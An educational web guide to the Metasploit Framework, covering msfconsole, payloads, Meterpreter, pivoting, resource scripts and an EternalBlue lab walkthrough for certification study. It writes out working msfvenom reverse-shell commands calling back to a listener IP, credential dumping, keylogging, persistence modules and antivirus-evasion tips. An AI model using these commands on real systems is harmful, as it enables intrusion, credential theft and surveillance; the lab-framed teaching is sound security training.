๐ Metasploit Framework
Complete educational guide to the Metasploit Framework, including msfconsole, modules, payloads, Meterpreter, auxiliary modules, exploitation workflow, post-exploitation, pivoting, resource scripts, plugins, troubleshooting, practical labs, and OSCP-oriented usage.
What is the Metasploit Framework?
The Metasploit Framework (MSF) is an open-source exploitation and post-exploitation platform maintained by Rapid7. It bundles thousands of exploits, payloads, encoders, scanners and post modules behind one consistent interface, so an operator can move from discovery to shell to post-exploitation without rebuilding tooling for every engagement.
Warning
Lab use only. Run Metasploit exclusively against your own VMs, Hack The Box / TryHackMe / PG targets, or systems for which you hold explicit written authorisation. Everything on this page is educational reference material.
A short history
- 2003 โ HD Moore releases Metasploit v1 in Perl (11 exploits).
- 2007 โ Full rewrite in Ruby as v3.
- 2009 โ Acquired by Rapid7; commercial Pro / Community editions appear.
- 2011 โ msfconsole gains the PostgreSQL-backed database.
- 2019 โ today โ Metasploit v6/v6.4 ships end-to-end SMB3 encryption, native pipes for Meterpreter, HTTP/2 handlers, and hundreds of new modules each year.
Real-world use cases
- Internal / external penetration testing.
- Red team foothold, pivoting and post-exploitation.
- Purple team detection engineering (payload sample generation, C2 traffic).
- Vulnerability validation (turning a Nessus/OpenVAS finding into proof).
- Security training labs (CEH, eJPT, PNPT, CPTS, OSCP).
Advantages and limitations
| Strengths | Weaknesses |
|---|---|
| Huge exploit + payload library | Heavily signatured by EDR/AV |
| Consistent module + option interface | Encourages muscle memory over understanding |
| Meterpreter's rich post-exploitation | Payloads noisy on the network |
| Database + workspaces for team recon | OSCP restricts it to one target |
| Free, open source, scriptable | Some modules unstable โ always read the source |
Legal and ethical usage
Even in a lab, treat Metasploit like a loaded weapon: know your target scope, avoid destructive modules on shared infrastructure, keep engagement notes, and never leave payloads / listeners exposed to the internet. Unauthorised use is a crime in every jurisdiction that matters for a security career.
Installing Metasploit
Metasploit ships pre-installed on Kali Linux and Parrot OS. On everything else, use the Rapid7 nightly installer or your package manager.
Kali / Parrot
sudo apt update && sudo apt install metasploit-framework -y
sudo msfdb init # initialise the PostgreSQL database
msfconsole -q # -q = quiet banner
Ubuntu / Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall
sudo msfdb init
Windows
Download the signed installer from https://www.metasploit.com/download. Run as Administrator; the installer bundles Ruby, PostgreSQL and Nmap. Add exclusions in Windows Defender for the install folder or it will quarantine payloads on write.
Updating & verifying
sudo apt update && sudo apt upgrade metasploit-framework -y # Kali
msfupdate # nightly builds
msfconsole --version
Database sanity checks
Inside msfconsole:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > workspace -a client01
[*] Added workspace: client01
If you see [-] Database not connected, exit and run sudo msfdb reinit (or msfdb run). No database = no hosts, no services, no loot, no creds, no db_nmap โ you lose half the framework.
Framework Architecture
Metasploit is written in Ruby and organised in layers.
| Layer | Purpose |
|---|---|
| Rex | Sockets, protocols, encoding, text manipulation primitives |
| Core | Module API, datastore, session manager, job scheduler |
| Base | Config, logging, serialisation, plugin API |
| Modules | Exploits, payloads, auxiliary, post, encoders, nops, evasion |
| Interfaces | msfconsole, msfvenom, msfdb, RPC (msgrpc) |
Key components
- Framework โ the engine loading everything at boot.
- Modules โ self-contained Ruby files under
/usr/share/metasploit-framework/modules/. - Payloads โ code that runs on the target (Meterpreter, shells, execs).
- Encoders โ obfuscate payload bytes to defeat basic signatures.
- NOPs โ CPU no-op sleds for buffer overflows.
- Auxiliary โ scanners, fuzzers, brute-forcers (no shell).
- Exploit โ turns a vulnerability into code execution.
- Post โ runs after you have a session (recon, priv-esc, pivot).
- Evasion โ generates AV-evading executables.
- Plugins โ extend
msfconsoleat runtime (load nessus,load wmap). - Sessions โ active shells / Meterpreter channels.
- Workspaces โ logical groupings of hosts / services / loot per client.
- Loot / Creds / Notes / Vulns โ DB tables written to during engagements.
msfconsole โ the primary interface
msfconsole is the interactive REPL that most operators live in. Start it with:
msfconsole # full banner
msfconsole -q # quiet
msfconsole -r script.rc # run a resource script
msfconsole -x "db_status; use exploit/windows/smb/ms17_010_eternalblue"
Anatomy of the prompt
msf6 exploit(windows/smb/ms17_010_eternalblue) >
msf6โ framework version.exploit(...)โ currently selected module.>โ waiting for input; a session-interact prompt looks likemeterpreter >.
Everyday quality-of-life
- Autocomplete โ press
Tabon any command, module path or option name. - History โ arrow keys walk your last commands;
history -cclears them. - Help โ
helpon its own, orhelp <command>for details. - Colour โ
color true|false; useful when logging to a file. - Aliases โ
alias sn "search name:"speeds up common queries. - Logging โ
spool /tmp/engagement.logwrites everything to disk (spool offstops it). - Global vs local options โ
setg RHOSTS 10.10.10.5persists across every module you load;setonly applies to the current one.
Essential msfconsole Commands
Each command below follows the same shape: purpose ยท syntax ยท example ยท output ยท pitfalls.
help
- Purpose: print all commands or details for one command.
- Syntax:
helporhelp <command> - Example:
help search - Pitfall:
helpinside a Meterpreter session shows Meterpreter commands, not framework ones.
search
- Purpose: find modules by keyword, CVE, author or platform.
- Syntax:
search [filters] term - Example:
msf6 > search cve:2017-0144 type:exploit platform:windows
- Filters:
name:,path:,cve:,type:,platform:,author:,rank:,disclosure_date:. - Pitfall: overly generic terms (
search smb) return hundreds of modules โ always combine withtype:orplatform:.
use
- Purpose: load a module into the current context.
- Syntax:
use <module path or search index> - Example:
use exploit/windows/smb/ms17_010_eternalblueoruse 0after a search. - Pitfall: typos silently return
No results from search; always tab-complete.
show options / options
- Purpose: display the current module's datastore.
- Output columns:
Name ยท Current Setting ยท Required ยท Description. - Pitfall:
RHOSTS(target) andLHOST(your listener) are the two most-forgotten values.
set / setg / unset / unsetg
- Purpose: modify options.
setgpersists globally,setonly for the current module. - Example:
msf6 exploit(...) > set RHOSTS 10.10.10.40
msf6 exploit(...) > setg LHOST tun0
- Pitfall: globals leak between modules โ use
unsetgbefore switching engagements.
run and exploit
- Purpose: launch the module.
runis preferred for auxiliary/post;exploitis idiomatic for exploits (they are aliases). - Flags:
-jโ background the job.-zโ do not interact with the session once opened.run -j -zโ the classic listener pattern.
check
- Purpose: ask the module if the target looks vulnerable, without exploiting.
- Pitfall: many modules do not implement
check; absence of a check is not a green light.
sessions
- Purpose: manage post-exploitation sessions.
- Common uses:
sessionsโ list.sessions -i 1โ interact.sessions -u 1โ upgrade a shell to Meterpreter.sessions -Kโ kill all sessions.sessions -C "sysinfo" -i 1โ run a command without full interaction.
background / back / exit
background(orCtrl-Z) inside Meterpreter โ returns tomsfconsole, keeps the session alive.backโ leave the current module.exit/quitโ leavemsfconsole(exit -yskips the prompt).
Database commands
hosts, services, vulns, notes, loot, creds โ all of these query the workspace DB and take filters like -c address,name or -S 'Windows'.
Utility
jobs/jobs -Kโ background jobs / kill all.route add <net>/<mask> <session>โ pivot traffic via a session.workspace [-a name | -d name | name]โ manage engagements.version,banner,history,color,save,reload_all.
Module Types
| Type | Purpose | Example |
|---|---|---|
| Exploit | Trigger a vulnerability to gain execution | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | Recon, scanning, brute forcing, fuzzing | auxiliary/scanner/smb/smb_version |
| Post | Actions after a session exists | post/multi/recon/local_exploit_suggester |
| Payload | Code that runs on the target | windows/x64/meterpreter/reverse_tcp |
| Encoder | Obfuscates payload bytes | x86/shikata_ga_nai |
| NOP | CPU no-op sleds for exploits | x86/single_byte |
| Evasion | Builds AV-evading binaries | evasion/windows/windows_defender_exe |
Payloads Explained
Payloads are the code the exploit delivers. Choose one based on target OS, network path (bind vs reverse), and staging preference.
Singles vs stagers vs stages
- Single (stageless) โ everything in one blob. Larger, but robust when the exploit only fires once.
Example:
windows/x64/meterpreter_reverse_tcp(note: no/betweenmeterpreterandreverse_tcp). - Stager โ tiny piece of code that connects back and pulls a bigger stage over the wire.
Example:
windows/x64/meterpreter/reverse_tcp(with the/). - Stage โ the second-stage payload (Meterpreter DLL) sent by the stager.
Bind vs reverse
| Bind | Reverse | |
|---|---|---|
| Who listens? | Target | Attacker |
| Firewall friendly? | Rarely | Usually |
| Typical use | Target has public port open | Target sits behind NAT |
Common payload names
windows/x64/meterpreter/reverse_tcpโ reverse Meterpreter over TCP.windows/x64/meterpreter/reverse_httpsโ HTTPS-tunnelled, blends with web traffic.windows/x64/shell_reverse_tcpโ plain cmd.exe.linux/x64/meterpreter/reverse_tcp,linux/x86/shell_reverse_tcp.php/meterpreter/reverse_tcpโ for LFI/RFI/webshell drops.java/meterpreter/reverse_tcpโ cross-platform, needs JRE.python/meterpreter/reverse_tcpโ script-only environments.cmd/unix/reverse_bashโ one-liner bash reverse shell.
Generating payloads with msfvenom
# Windows reverse Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.2 LPORT=4444 \
-f exe -o shell.exe
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f elf -o s.elf
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f raw -o shell.php
# Encoded, iterated
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f exe -o s.exe
Then catch it with the multi/handler:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.2
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j -z
Meterpreter
Meterpreter is Metasploit's flagship payload: a DLL / SO / script loaded entirely in memory that speaks an encrypted protocol back to the framework. It never touches disk on the target and exposes a rich API for post-exploitation.
Why Meterpreter
- In-memory, no forensics artefact from the payload itself.
- Extensible:
load kiwi,load powershell,load python,load stdapi. - Rich API โ file system, processes, registry, sockets, kiwi (Mimikatz).
- Channelised comms โ file transfers, port forwards, sub-shells over one session.
Essential commands
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > ps
meterpreter > migrate 4242
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users\\alice\\Desktop
meterpreter > download flag.txt
meterpreter > upload beacon.exe C:\\Windows\\Temp\\
meterpreter > cat C:\\inetpub\\wwwroot\\web.config
meterpreter > shell # drop to cmd.exe / /bin/sh
meterpreter > background # keep alive, back to msfconsole
Privilege escalation
meterpreter > getsystem # tries 4 token/named-pipe techniques
meterpreter > run post/multi/recon/local_exploit_suggester
Credential harvesting
meterpreter > hashdump # local SAM
meterpreter > load kiwi
meterpreter > creds_all # Mimikatz-style dump
meterpreter > lsa_dump_sam
Tokens and impersonation
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
Screenshots and keylogging (educational)
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Pivoting from Meterpreter
meterpreter > run autoroute -s 10.0.20.0/24
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.20.15
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
Persistence concepts
Metasploit ships exploit/windows/local/persistence_service, persistence_exe, registry_persistence. In real engagements these are loud and often flagged; understand them for the exam, but favour manual, minimal persistence for red-team ops.
Cleanup
- Remove uploaded files (
rm,del). - Kill scheduled tasks / services you created.
- Close sessions (
sessions -K) and shut down handlers (jobs -K). - Purge Meterpreter with
exit(leaves no on-disk artefact when it was in-memory only).
The Metasploit Database
The DB glues recon and exploitation together. Nmap results, credentials, loot and notes are all queryable across the team.
msf6 > db_status
msf6 > workspace -a acme_internal
msf6 > db_nmap -sS -sV -O 10.10.10.0/24
msf6 > hosts
msf6 > services -p 445 -R # -R sets RHOSTS from the query
msf6 > vulns
msf6 > creds
msf6 > loot
msf6 > notes -t smb.fingerprint
Useful filters: hosts -c address,os_name,purpose, services -s open -p 80,443, creds -t password.
Auxiliary Modules
Auxiliaries are the framework's Swiss army knife. No shell, but perfect for scanning, enumeration, brute forcing and protocol abuse.
| Protocol | Module | Purpose |
|---|---|---|
| SMB | auxiliary/scanner/smb/smb_version | OS + SMB dialect fingerprint |
| SMB | auxiliary/scanner/smb/smb_login | Credential spray |
| SMB | auxiliary/admin/smb/psexec_command | Command exec with creds |
| FTP | auxiliary/scanner/ftp/ftp_login, ftp_version, anonymous | Auth + banner |
| HTTP | auxiliary/scanner/http/dir_scanner, http_version, title | Web recon |
| SNMP | auxiliary/scanner/snmp/snmp_login, snmp_enum | Community strings + info |
| SSH | auxiliary/scanner/ssh/ssh_login, ssh_version | Auth + banner |
| DNS | auxiliary/gather/enum_dns | Zone transfer + brute |
| RDP | auxiliary/scanner/rdp/rdp_scanner, cve_2019_0708_bluekeep | Version + BlueKeep probe |
| SMTP | auxiliary/scanner/smtp/smtp_enum, smtp_version | VRFY / EXPN user enum |
msf6 > use auxiliary/scanner/smb/smb_login
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf6 > set PASS_FILE /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
msf6 > set THREADS 20
msf6 > run
Post-Exploitation Workflow
Once you have a session, the first five minutes decide the engagement.
- Stabilise โ migrate off the exploited process; consider a second, redundant callback.
- Enumerate โ
sysinfo,getuid,whoami /priv,ipconfig /all,route print,net user /domain. - Suggest privesc โ
run post/multi/recon/local_exploit_suggester. - Loot credentials โ SAM, LSASS (via kiwi), browser stores, config files, sticky notes.
- Discover the network โ ARP,
netstat -ano,arp -a, runauxiliary/scanner/portscan/tcpthrough the pivot. - Pivot โ autoroute + SOCKS proxy for external tools.
- Persist (only if scoped) โ services, scheduled tasks, WMI subscriptions.
- Document + cleanup โ screenshots, log paths, kill sessions and handlers you created.
Pivoting
Pivoting is how you use one compromised host as a router into networks you cannot reach directly.
[attacker] ---(tun0/HTB)--- [compromised jump host] ---(internal 10.0.20.0/24)--- [target DB]
|
+-- autoroute + socks_proxy
Autoroute (Metasploit-only traffic)
meterpreter > run autoroute -s 10.0.20.0/24
meterpreter > run autoroute -p # print current routes
Now every module that speaks to 10.0.20.0/24 is tunnelled through this Meterpreter session.
SOCKS proxy (for every other tool)
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j
# /etc/proxychains4.conf โ socks5 127.0.0.1 1080
$ proxychains nmap -sT -Pn -p 3389 10.0.20.15
$ proxychains xfreerdp /v:10.0.20.15 /u:alice
Port forwarding
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.20.15 # local:8080 -> remote:80
meterpreter > portfwd list
meterpreter > portfwd flush
Multi-hop
Layer autoroute + SOCKS across two sessions: session 1 gives you 10.0.20.0/24, session 2 (on a host inside that subnet) gives you 172.16.0.0/16. Metasploit routes packets through the shortest matching route.
Resource Scripts
Resource (.rc) scripts are plain files of msfconsole commands, batch-executed with -r or from inside the console via resource file.rc.
# handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST tun0
set LPORT 443
set ExitOnSession false
run -j -z
msfconsole -q -r handler.rc
Best practices:
- Keep listeners in
~/rc/per engagement. - Prefix filenames with the engagement code (
acme_handler.rc). - Avoid destructive commands (
sessions -K) in shared scripts. - Combine with ERB (
<%= ENV['LHOST'] %>) for parameterised playbooks.
Plugins
Plugins extend msfconsole at runtime. Load them with load <name>, list active ones with plugins, unload with unload.
load nessusโ drive Nessus scans and import findings.load openvasโ same idea for OpenVAS/GVM.load wmapโ very light web scanner built on aux modules.load soundsโ audio feedback when sessions open (labs / demos).load auto_add_routeโ automatically adds a route when a session opens through a private network.load labโ manage VirtualBox/VMware lab targets.
Practical Labs
Do these against Metasploitable 2/3, TryHackMe Blue, or HTB Legacy/Blue. Never against production.
Lab 1 โ Scan the target
msf6 > workspace -a lab
msf6 > db_nmap -sS -sV -p- 10.10.10.40
msf6 > services -p 445
Lab 2 โ Search for a module
msf6 > search cve:2017-0144
Lab 3 โ Configure the exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 10.10.10.40
Lab 4 โ Set a payload
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST tun0
msf6 > set LPORT 4444
Lab 5 โ Run the exploit
msf6 > check
msf6 > exploit
Lab 6 โ Land the session
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49312)
meterpreter > sysinfo
meterpreter > getuid
Lab 7 โ Background the session
meterpreter > background
msf6 > sessions
Lab 8 โ Post-exploitation
msf6 > sessions -i 1
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all
Lab 9 โ Cleanup
meterpreter > rm C:\\Windows\\Temp\\beacon.exe
meterpreter > exit
msf6 > sessions -K
msf6 > jobs -K
msf6 > spool off
Repeat with exploit/unix/ftp/vsftpd_234_backdoor against Metasploitable 2 for a UNIX shell workflow.
OSCP / CPTS / PNPT Notes
| Cert | Metasploit policy | What to practise |
|---|---|---|
| CEH | Unlimited (exam is theory-heavy) | Module taxonomy, payload types, Meterpreter |
| eJPT | Unlimited, heavily used | msfconsole, msfvenom, Meterpreter, pivoting |
| PNPT | Encouraged for AD | Chaining recon โ foothold โ AD abuse |
| CPTS | Allowed | Full framework fluency including handlers |
| OSCP | One target only + unlimited msfvenom + multi/handler | Manual equivalents of every action |
Rule of thumb: if you cannot repeat a Metasploit workflow by hand โ searchsploit, custom shellcode, nc listener, whoami /priv, reg query โ you do not really understand it yet.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
Database not connected | msfdb never initialised | sudo msfdb reinit |
Exploit completed, but no session was created | Wrong LHOST, firewalled LPORT, AV kill, wrong arch | Verify LHOST = interface reachable from target; try LPORT 80/443; switch to stageless payload |
No session created after Nmap says port open | Payload arch mismatch (x86 vs x64) or wrong target ID | show targets; use set TARGET N |
| Payload never fires | AV on target | Use evasion/ modules or generate encoded / templated payload with msfvenom |
LHOST unreachable | You set an internal IP behind NAT | Use tun0 / VPN address, or use reverse_https on 443 |
Bind payload times out | Egress firewall or target didn't open the port | Switch to reverse_* |
| Meterpreter dies on migrate | Target process crashed / privileges lost | Migrate to a stable, long-running process (svchost.exe, explorer.exe) |
Module failed to load | Broken update | reload_all, then msfupdate |
Cheat Sheet
| Task | Command |
|---|---|
| Start console | msfconsole -q |
| DB status | db_status |
| New workspace | workspace -a client |
| Nmap into DB | db_nmap -sS -sV -O <cidr> |
| Find module | search cve:2020-0796 type:exploit |
| Load module | use <path> or use <n> |
| Show options | options |
| Set target | set RHOSTS 10.10.10.5 |
| Set listener | set LHOST tun0; set LPORT 443 |
| Check target | check |
| Run listener | run -j -z |
| List sessions | sessions |
| Interact | sessions -i 1 |
| Upgrade shell | sessions -u 1 |
| Kill all sessions | sessions -K |
| Route via session | run autoroute -s 10.0.20.0/24 |
| SOCKS proxy | use auxiliary/server/socks_proxy; run -j |
| Payload generator | msfvenom -p ... LHOST= LPORT= -f exe -o s.exe |
| Handler | use exploit/multi/handler; set PAYLOAD ...; run -j -z |
| Save datastore | save |
| Reload modules | reload_all |
| Exit | exit -y |
Interactive msfconsole Simulator
Practise the syntax without touching a real target. Everything below runs entirely in your browser โ no network, no exploitation, no modules are loaded. It's a teaching aid for the workflow: search โ use โ set โ run โ sessions -i.
- Try
help,banner,search eternalblue,use 0,show options,set RHOSTS 10.10.10.40,set LHOST 10.10.14.2,run,sessions -i 1, thensysinfoinside Meterpreter. - Use
Tabfor autocomplete,โ/โfor history,Ctrl-L(or Reset) to clear.
Note
This simulator is educational only. Nothing you type sends packets, loads Ruby modules, or interacts with a filesystem. Use the real msfconsole on your own lab VMs when you're ready.
Key Takeaways
- Metasploit is exploits + payloads + post modules + a database, wired together by
msfconsole. - Use workspaces and
db_nmapfrom day one โ every module benefits from the shared context. - Know the difference between staged and stageless, bind and reverse payloads.
- Meterpreter is the default post-exploitation payload โ master
migrate,getsystem,hashdump,load kiwi,portfwd,autoroute. - Pivoting via
autoroute+socks_proxyunlocks internal networks for both Metasploit and external tools. - Automate with resource scripts; extend with plugins; verify with
checkbefore firing. - For OSCP, learn the manual equivalent of every Metasploit action you rely on.
Related articles
System Hacking Overview
Goals of system hacking โ gaining access, privilege escalation, persistence and log clearing โ plus where credential hashes come from.
๐ Password Cracking
Educational guide covering password hashing, hash identification, Hashcat, John the Ripper, wordlists, attack methods, common hash formats, and the interactive hash identifier.
Credential Attacks
Credential dumping, password spraying, pass-the-hash, pass-the-ticket, token theft and the defences that stop them.
Steganography
Beginner-friendly steganography study guide: core concepts, stego vs crypto, types, tools, workflow, beginner tips and an interactive browser-only lab.